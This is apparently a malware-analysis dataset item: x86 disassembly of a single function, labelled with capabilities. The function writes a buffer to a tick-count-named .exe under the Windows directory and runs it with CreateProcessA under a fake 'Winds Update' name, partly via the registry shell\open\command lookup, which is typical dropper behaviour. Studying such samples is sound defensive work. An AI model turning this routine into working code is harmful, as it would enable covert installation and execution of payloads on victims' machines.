Function at 0x10006f10
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x48c
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1a4]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov byte [esp + 0x1a7], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea ecx, [esp + 0x70]
push str.Program_Files_d.exe
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x6c]
lea eax, [esp + 0x1a4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x1a4]
push 0x1001a4c8
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edx, dword [esp + 0x4ac]
mov esi, eax
mov eax, dword [esp + 0x4a8]
push esi
push 1
push edx
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x4c4]
add esp, 0x1c
cmp eax, 3
jne 0x10006ff3
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
lea edx, [esp + 0x28]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], 0x44
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
lea eax, [esp + 0x1c4]
push str.Winds_Update
push eax
mov dword [esp + 0x58], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x48c
ret 0xc
cmp eax, 2
je 0x100071d7
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xa0]
push 0x2e
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1a8]
mov dword [esp + 0x18], 0x104
push ecx
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x10007038
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x48c
ret 0xc
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x10]
push edx
push 0xf003f
push 0
push eax
push connect
call ebp
test eax, eax
je 0x10007065
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x48c
ret 0xc
mov edx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea eax, [esp + 0x14]
lea ecx, [esp + 0xa0]
push eax
push ecx
push 0
push edx
call esi
mov eax, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x2a8]
lea edx, [esp + 0x2a8]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xa0]
push ecx
push str._s_shellopencommand
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x2a8]
push eax
push 0xf003f
push 0
push ecx
push connect
call ebp
test eax, eax
je 0x100070ea
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x48c
ret 0xc
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xa0]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0xa0]
push edx
push eax
push 0
push ecx
mov dword [esp + 0x24], 0x104
call esi
mov edx, dword [esp + 0x10]
push edx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea eax, [esp + 0xa0]
push 0x1001a2a0
push eax
call esi
add esp, 8
test eax, eax
jne 0x1000717a
lea ecx, [esp + 0xa0]
push 0x1001a29c
push ecx
call esi
add esp, 8
test eax, eax
jne 0x1000717a
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0xa0]
push 0x1001a298
push edx
call esi
lea eax, [esp + 0x1a4]
lea ecx, [esp + 0xa0]
push eax
push ecx
call esi
jmp 0x10007189
lea edx, [esp + 0x1a4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x4a8]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x100071b1
mov dword [esp + 0x30], str.WinSta0Default
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0xbc]
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x48c
ret 0xc